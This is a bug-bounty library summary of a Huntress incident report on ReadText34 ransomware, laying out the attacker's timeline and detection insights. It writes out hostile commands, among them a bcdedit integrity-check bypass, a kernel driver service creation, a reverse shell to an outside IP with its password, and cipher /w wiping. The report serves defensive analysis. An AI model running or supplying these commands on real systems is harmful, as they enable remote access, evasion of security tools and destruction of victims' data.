# ReadText34 Ransomware Incident

Ransomware operator used stolen Administrator creds, BYOVD TrueSight driver to kill Trend Micro, then readtext34.exe to encrypt files and wipe shadow copies.

- Payout: Real-world hack
- Severity: high
- Program: ReadText34
- Credited: Huntress
- Disclosed: 2024-09-22
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/readtext34-ransomware-incident
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-readtext34-ransomware-incident
- Tags: domain:desktop impact:data-leak impact:funds-loss kind:incident platform:threat-intel sev:high tech:windows technique:default-creds technique:legacy-endpoint vuln:misconfiguration vuln:privilege-escalation

**Target:** Windows endpoint / RDP / kernel driver
**Root cause:** Attacker with Administrator credentials deployed a vulnerable antirootkit driver (truesight.sys) to crash security products, then ran a ransomware binary that stops services, deletes shadow copies, and encrypts volumes.
**Steps:**
1. Use Administrator creds to access `C$` share from internal IP
2. `reg.exe` remote command to enable RDP
3. RDP login as Administrator from HOME-PC
4. Execute `C:\Users\REDACTED\AppData\Roaming\trend micro\Trend.exe` to install `truesight.sys` (BYOVD), crashing Trend Micro
5. Run `winppx.exe` which executes `bcdedit /set loadoptions DDISABLE_INTEGRITY_CHECKS` and `sc create winppx binPath="C:\Windows\winppx.exe" type=kernel start=boot`
6. winppx.exe launches reverse shell `svhost.exe -connect 94.198.50[.]195:25000 -pass Zz158df@jniow45h@ -recn 0 -rect 5`
7. Run `readtext34.exe` which taskkills processes, `net stop` services, deletes shadow copies, persists via Run key `BabyLockerKZ`
8. `readtext34.exe -network` spawns `cipher /w:\\?\X:` etc. to wipe free space, then encrypts files
**How found:** Huntress EDR alerts on RDP enablement, recovery disabling, and ransomware canary modification; timeline reconstruction from event logs and file artifacts.
**Exploitation:** Stolen Administrator credentials gave SMB/RDP access; BYOVD driver disabled AV; ransomware binary stopped services, removed recovery options, wiped unallocated space with cipher.exe, and encrypted files with RSA+AES, leaving How_to_back_files.html ransom note.
**Escalation:** BYOVD to disable endpoint protection before encryption; persistence via Run key and kernel driver service; recovery inhibition via shadow copy deletion and cipher /w.
**Insight:** Watch for `cipher /w:` on non-system volumes as a ransomware anti-recovery LOLBin; also flag `bcdedit /set loadoptions DDISABLE_INTEGRITY_CHECKS` paired with `sc create ... type=kernel` as a driver-load attempt even when the driver fails to load.